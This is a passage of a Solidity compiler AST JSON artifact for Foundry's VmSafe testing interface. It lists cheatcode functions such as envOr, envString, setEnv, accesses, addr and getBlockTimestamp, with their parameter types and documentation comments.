found."},"functionSelector":"eb85e83b","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13981:5:13","parameters":{"id":12415,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12409,"mutability":"mutable","name":"name","nameLocation":"14003:4:13","nodeType":"VariableDeclaration","scope":12420,"src":"13987:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12408,"name":"string","nodeType":"ElementaryTypeName","src":"13987:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12411,"mutability":"mutable","name":"delim","nameLocation":"14025:5:13","nodeType":"VariableDeclaration","scope":12420,"src":"14009:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12410,"name":"string","nodeType":"ElementaryTypeName","src":"14009:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12414,"mutability":"mutable","name":"defaultValue","nameLocation":"14048:12:13","nodeType":"VariableDeclaration","scope":12420,"src":"14032:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12412,"name":"bool","nodeType":"ElementaryTypeName","src":"14032:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12413,"nodeType":"ArrayTypeName","src":"14032:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"13986:75:13"},"returnParameters":{"id":12419,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12418,"mutability":"mutable","name":"value","nameLocation":"14123:5:13","nodeType":"VariableDeclaration","scope":12420,"src":"14109:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12416,"name":"bool","nodeType":"ElementaryTypeName","src":"14109:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12417,"nodeType":"ArrayTypeName","src":"14109:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"14108:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12434,"nodeType":"FunctionDefinition","src":"14358:164:13","nodes":[],"documentation":{"id":12421,"nodeType":"StructuredDocumentation","src":"14136:217:13","text":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"74318528","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"14367:5:13","parameters":{"id":12429,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12423,"mutability":"mutable","name":"name","nameLocation":"14389:4:13","nodeType":"VariableDeclaration","scope":12434,"src":"14373:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12422,"name":"string","nodeType":"ElementaryTypeName","src":"14373:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12425,"mutability":"mutable","name":"delim","nameLocation":"14411:5:13","nodeType":"VariableDeclaration","scope":12434,"src":"14395:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12424,"name":"string","nodeType":"ElementaryTypeName","src":"14395:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12428,"mutability":"mutable","name":"defaultValue","nameLocation":"14437:12:13","nodeType":"VariableDeclaration","scope":12434,"src":"14418:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":12426,"name":"uint256","nodeType":"ElementaryTypeName","src":"14418:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":12427,"nodeType":"ArrayTypeName","src":"14418:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"14372:78:13"},"returnParameters":{"id":12433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12432,"mutability":"mutable","name":"value","nameLocation":"14515:5:13","nodeType":"VariableDeclaration","scope":12434,"src":"14498:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":12430,"name":"uint256","nodeType":"ElementaryTypeName","src":"14498:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":12431,"nodeType":"ArrayTypeName","src":"14498:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"14497:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12448,"nodeType":"FunctionDefinition","src":"14749:162:13","nodes":[],"documentation":{"id":12435,"nodeType":"StructuredDocumentation","src":"14528:216:13","text":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"4700d74b","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"14758:5:13","parameters":{"id":12443,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12437,"mutability":"mutable","name":"name","nameLocation":"14780:4:13","nodeType":"VariableDeclaration","scope":12448,"src":"14764:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12436,"name":"string","nodeType":"ElementaryTypeName","src":"14764:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12439,"mutability":"mutable","name":"delim","nameLocation":"14802:5:13","nodeType":"VariableDeclaration","scope":12448,"src":"14786:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12438,"name":"string","nodeType":"ElementaryTypeName","src":"14786:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12442,"mutability":"mutable","name":"defaultValue","nameLocation":"14827:12:13","nodeType":"VariableDeclaration","scope":12448,"src":"14809:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":12440,"name":"int256","nodeType":"ElementaryTypeName","src":"14809:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":12441,"nodeType":"ArrayTypeName","src":"14809:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"14763:77:13"},"returnParameters":{"id":12447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12446,"mutability":"mutable","name":"value","nameLocation":"14904:5:13","nodeType":"VariableDeclaration","scope":12448,"src":"14888:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":12444,"name":"int256","nodeType":"ElementaryTypeName","src":"14888:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":12445,"nodeType":"ArrayTypeName","src":"14888:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"14887:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12456,"nodeType":"FunctionDefinition","src":"15059:85:13","nodes":[],"documentation":{"id":12449,"nodeType":"StructuredDocumentation","src":"14917:137:13","text":"Gets the environment variable `name` and parses it as `string`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"f877cb19","implemented":false,"kind":"function","modifiers":[],"name":"envString","nameLocation":"15068:9:13","parameters":{"id":12452,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12451,"mutability":"mutable","name":"name","nameLocation":"15094:4:13","nodeType":"VariableDeclaration","scope":12456,"src":"15078:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12450,"name":"string","nodeType":"ElementaryTypeName","src":"15078:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15077:22:13"},"returnParameters":{"id":12455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12454,"mutability":"mutable","name":"value","nameLocation":"15137:5:13","nodeType":"VariableDeclaration","scope":12456,"src":"15123:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12453,"name":"string","nodeType":"ElementaryTypeName","src":"15123:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15122:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12467,"nodeType":"FunctionDefinition","src":"15326:110:13","nodes":[],"documentation":{"id":12457,"nodeType":"StructuredDocumentation","src":"15150:171:13","text":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"14b02bc9","implemented":false,"kind":"function","modifiers":[],"name":"envString","nameLocation":"15335:9:13","parameters":{"id":12462,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12459,"mutability":"mutable","name":"name","nameLocation":"15361:4:13","nodeType":"VariableDeclaration","scope":12467,"src":"15345:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12458,"name":"string","nodeType":"ElementaryTypeName","src":"15345:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12461,"mutability":"mutable","name":"delim","nameLocation":"15383:5:13","nodeType":"VariableDeclaration","scope":12467,"src":"15367:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12460,"name":"string","nodeType":"ElementaryTypeName","src":"15367:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15344:45:13"},"returnParameters":{"id":12466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12465,"mutability":"mutable","name":"value","nameLocation":"15429:5:13","nodeType":"VariableDeclaration","scope":12467,"src":"15413:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12463,"name":"string","nodeType":"ElementaryTypeName","src":"15413:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12464,"nodeType":"ArrayTypeName","src":"15413:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"15412:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12475,"nodeType":"FunctionDefinition","src":"15585:77:13","nodes":[],"documentation":{"id":12468,"nodeType":"StructuredDocumentation","src":"15442:138:13","text":"Gets the environment variable `name` and parses it as `uint256`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"c1978d1f","implemented":false,"kind":"function","modifiers":[],"name":"envUint","nameLocation":"15594:7:13","parameters":{"id":12471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12470,"mutability":"mutable","name":"name","nameLocation":"15618:4:13","nodeType":"VariableDeclaration","scope":12475,"src":"15602:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12469,"name":"string","nodeType":"ElementaryTypeName","src":"15602:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15601:22:13"},"returnParameters":{"id":12474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12473,"mutability":"mutable","name":"value","nameLocation":"15655:5:13","nodeType":"VariableDeclaration","scope":12475,"src":"15647:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12472,"name":"uint256","nodeType":"ElementaryTypeName","src":"15647:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15646:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12486,"nodeType":"FunctionDefinition","src":"15845:109:13","nodes":[],"documentation":{"id":12476,"nodeType":"StructuredDocumentation","src":"15668:172:13","text":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"f3dec099","implemented":false,"kind":"function","modifiers":[],"name":"envUint","nameLocation":"15854:7:13","parameters":{"id":12481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12478,"mutability":"mutable","name":"name","nameLocation":"15878:4:13","nodeType":"VariableDeclaration","scope":12486,"src":"15862:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12477,"name":"string","nodeType":"ElementaryTypeName","src":"15862:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12480,"mutability":"mutable","name":"delim","nameLocation":"15900:5:13","nodeType":"VariableDeclaration","scope":12486,"src":"15884:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12479,"name":"string","nodeType":"ElementaryTypeName","src":"15884:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15861:45:13"},"returnParameters":{"id":12485,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12484,"mutability":"mutable","name":"value","nameLocation":"15947:5:13","nodeType":"VariableDeclaration","scope":12486,"src":"15930:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":12482,"name":"uint256","nodeType":"ElementaryTypeName","src":"15930:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":12483,"nodeType":"ArrayTypeName","src":"15930:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"15929:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12494,"nodeType":"FunctionDefinition","src":"15996:70:13","nodes":[],"documentation":{"id":12487,"nodeType":"StructuredDocumentation","src":"15960:31:13","text":"Sets environment variables."},"functionSelector":"3d5923ee","implemented":false,"kind":"function","modifiers":[],"name":"setEnv","nameLocation":"16005:6:13","parameters":{"id":12492,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12489,"mutability":"mutable","name":"name","nameLocation":"16028:4:13","nodeType":"VariableDeclaration","scope":12494,"src":"16012:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12488,"name":"string","nodeType":"ElementaryTypeName","src":"16012:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12491,"mutability":"mutable","name":"value","nameLocation":"16050:5:13","nodeType":"VariableDeclaration","scope":12494,"src":"16034:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12490,"name":"string","nodeType":"ElementaryTypeName","src":"16034:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16011:45:13"},"returnParameters":{"id":12493,"nodeType":"ParameterList","parameters":[],"src":"16065:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12506,"nodeType":"FunctionDefinition","src":"16198:109:13","nodes":[],"documentation":{"id":12495,"nodeType":"StructuredDocumentation","src":"16102:91:13","text":"Gets all accessed reads and write slot from a `vm.record` session, for a given address."},"functionSelector":"65bc9481","implemented":false,"kind":"function","modifiers":[],"name":"accesses","nameLocation":"16207:8:13","parameters":{"id":12498,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12497,"mutability":"mutable","name":"target","nameLocation":"16224:6:13","nodeType":"VariableDeclaration","scope":12506,"src":"16216:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12496,"name":"address","nodeType":"ElementaryTypeName","src":"16216:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16215:16:13"},"returnParameters":{"id":12505,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12501,"mutability":"mutable","name":"readSlots","nameLocation":"16267:9:13","nodeType":"VariableDeclaration","scope":12506,"src":"16250:26:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12499,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16250:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12500,"nodeType":"ArrayTypeName","src":"16250:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":12504,"mutability":"mutable","name":"writeSlots","nameLocation":"16295:10:13","nodeType":"VariableDeclaration","scope":12506,"src":"16278:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12502,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16278:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12503,"nodeType":"ArrayTypeName","src":"16278:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"16249:57:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12514,"nodeType":"FunctionDefinition","src":"16363:74:13","nodes":[],"documentation":{"id":12507,"nodeType":"StructuredDocumentation","src":"16313:45:13","text":"Gets the address for a given private key."},"functionSelector":"ffa18649","implemented":false,"kind":"function","modifiers":[],"name":"addr","nameLocation":"16372:4:13","parameters":{"id":12510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12509,"mutability":"mutable","name":"privateKey","nameLocation":"16385:10:13","nodeType":"VariableDeclaration","scope":12514,"src":"16377:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12508,"name":"uint256","nodeType":"ElementaryTypeName","src":"16377:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16376:20:13"},"returnParameters":{"id":12513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12512,"mutability":"mutable","name":"keyAddr","nameLocation":"16428:7:13","nodeType":"VariableDeclaration","scope":12514,"src":"16420:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12511,"name":"address","nodeType":"ElementaryTypeName","src":"16420:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16419:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12531,"nodeType":"FunctionDefinition","src":"16500:160:13","nodes":[],"documentation":{"id":12515,"nodeType":"StructuredDocumentation","src":"16443:52:13","text":"Gets all the logs according to specified filter."},"functionSelector":"35e1349b","implemented":false,"kind":"function","modifiers":[],"name":"eth_getLogs","nameLocation":"16509:11:13","parameters":{"id":12525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12517,"mutability":"mutable","name":"fromBlock","nameLocation":"16529:9:13","nodeType":"VariableDeclaration","scope":12531,"src":"16521:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12516,"name":"uint256","nodeType":"ElementaryTypeName","src":"16521:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12519,"mutability":"mutable","name":"toBlock","nameLocation":"16548:7:13","nodeType":"VariableDeclaration","scope":12531,"src":"16540:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12518,"name":"uint256","nodeType":"ElementaryTypeName","src":"16540:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12521,"mutability":"mutable","name":"target","nameLocation":"16565:6:13","nodeType":"VariableDeclaration","scope":12531,"src":"16557:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12520,"name":"address","nodeType":"ElementaryTypeName","src":"16557:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12524,"mutability":"mutable","name":"topics","nameLocation":"16592:6:13","nodeType":"VariableDeclaration","scope":12531,"src":"16573:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12522,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16573:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12523,"nodeType":"ArrayTypeName","src":"16573:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"16520:79:13"},"returnParameters":{"id":12530,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12529,"mutability":"mutable","name":"logs","nameLocation":"16654:4:13","nodeType":"VariableDeclaration","scope":12531,"src":"16634:24:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_EthGetLogs_$12087_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.EthGetLogs[]"},"typeName":{"baseType":{"id":12527,"nodeType":"UserDefinedTypeName","pathNode":{"id":12526,"name":"EthGetLogs","nameLocations":["16634:10:13"],"nodeType":"IdentifierPath","referencedDeclaration":12087,"src":"16634:10:13"},"referencedDeclaration":12087,"src":"16634:10:13","typeDescriptions":{"typeIdentifier":"t_struct$_EthGetLogs_$12087_storage_ptr","typeString":"struct VmSafe.EthGetLogs"}},"id":12528,"nodeType":"ArrayTypeName","src":"16634:12:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_EthGetLogs_$12087_storage_$dyn_storage_ptr","typeString":"struct VmSafe.EthGetLogs[]"}},"visibility":"internal"}],"src":"16633:26:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12537,"nodeType":"FunctionDefinition","src":"16975:65:13","nodes":[],"documentation":{"id":12532,"nodeType":"StructuredDocumentation","src":"16666:304:13","text":"Gets the current `block.number`.\n You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction,\n and as a result will get optimized out by the compiler.\n See https://github.com/foundry-rs/foundry/issues/6180"},"functionSelector":"42cbb15c","implemented":false,"kind":"function","modifiers":[],"name":"getBlockNumber","nameLocation":"16984:14:13","parameters":{"id":12533,"nodeType":"ParameterList","parameters":[],"src":"16998:2:13"},"returnParameters":{"id":12536,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12535,"mutability":"mutable","name":"height","nameLocation":"17032:6:13","nodeType":"VariableDeclaration","scope":12537,"src":"17024:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12534,"name":"uint256","nodeType":"ElementaryTypeName","src":"17024:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17023:16:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12543,"nodeType":"FunctionDefinition","src":"17364:71:13","nodes":[],"documentation":{"id":12538,"nodeType":"StructuredDocumentation","src":"17046:313:13","text":"Gets the current `block.timestamp`.\n You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction,\n and as a result will get optimized out by the compiler.\n See https://github.com/foundry-rs/foundry/issues/6180"},"functionSelector":"796b89b9","implemented":false,"kind":"function","modifiers":[],"name":"getBlockTimestamp","nameLocation":"17373:17:13","parameters":{"id":12539,"nodeType":"ParameterList","parameters":[],"src":"17390:2:13"},"returnParameters":{"id":12542,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12541,"mutability":"mutable","name":"timestamp","nameLocation":"17424:9:13","nodeType":"VariableDeclaration","scope":12543,"src":"17416:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12540,"name":"uint256","nodeType":"ElementaryTypeName","src":"17416:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17415:19:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12557,"nodeType":"FunctionDefinition","src":"17528:146:13","nodes":[],"documentation":{"id":12544,"nodeType":"StructuredDocumentation","src":"17441:82:13","text":"Gets the map key and parent of a mapping at a given slot, for a given address."},"functionSelector":"876e24e6","implemented":false,"kind":"function","modifiers":[],"name":"getMappingKeyAndParentOf","nameLocation":"17537:24:13","parameters":{"id":12549,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12546,"mutability":"mutable","name":"target","nameLocation":"17570:6:13","nodeType":"VariableDeclaration","scope":12557,"src":"17562:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12545,"name":"address","nodeType":"ElementaryTypeName","src":"17562:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12548,"mutability":"mutable","name":"elementSlot","nameLocation":"17586:11:13","nodeType":"VariableDeclaration","scope":12557,"src":"17578:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12547,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17578:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17561:37:13"},"returnParameters":{"id":12556,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12551,"mutability":"mutable","name":"found","nameLocation":"17638:5:13","nodeType":"VariableDeclaration","scope":12557,"src":"17633:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12550,"name":"bool","nodeType":"ElementaryTypeName","src":"17633:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12553,"mutability":"mutable","name":"key","nameLocation":"17653:3:13","nodeType":"VariableDeclaration","scope":12557,"src":"17645:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12552,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17645:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12555,"mutability":"mutable","name":"parent","nameLocation":"17666:6:13","nodeType":"VariableDeclaration","scope":12557,"src":"17658:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17658:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17632:41:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12567,"nodeType":"FunctionDefinition","src":"17771:97:13","nodes":[],"documentation":{"id":12558,"nodeType":"StructuredDocumentation","src":"17680:86:13","text":"Gets the number of elements in the mapping at the given slot, for a given 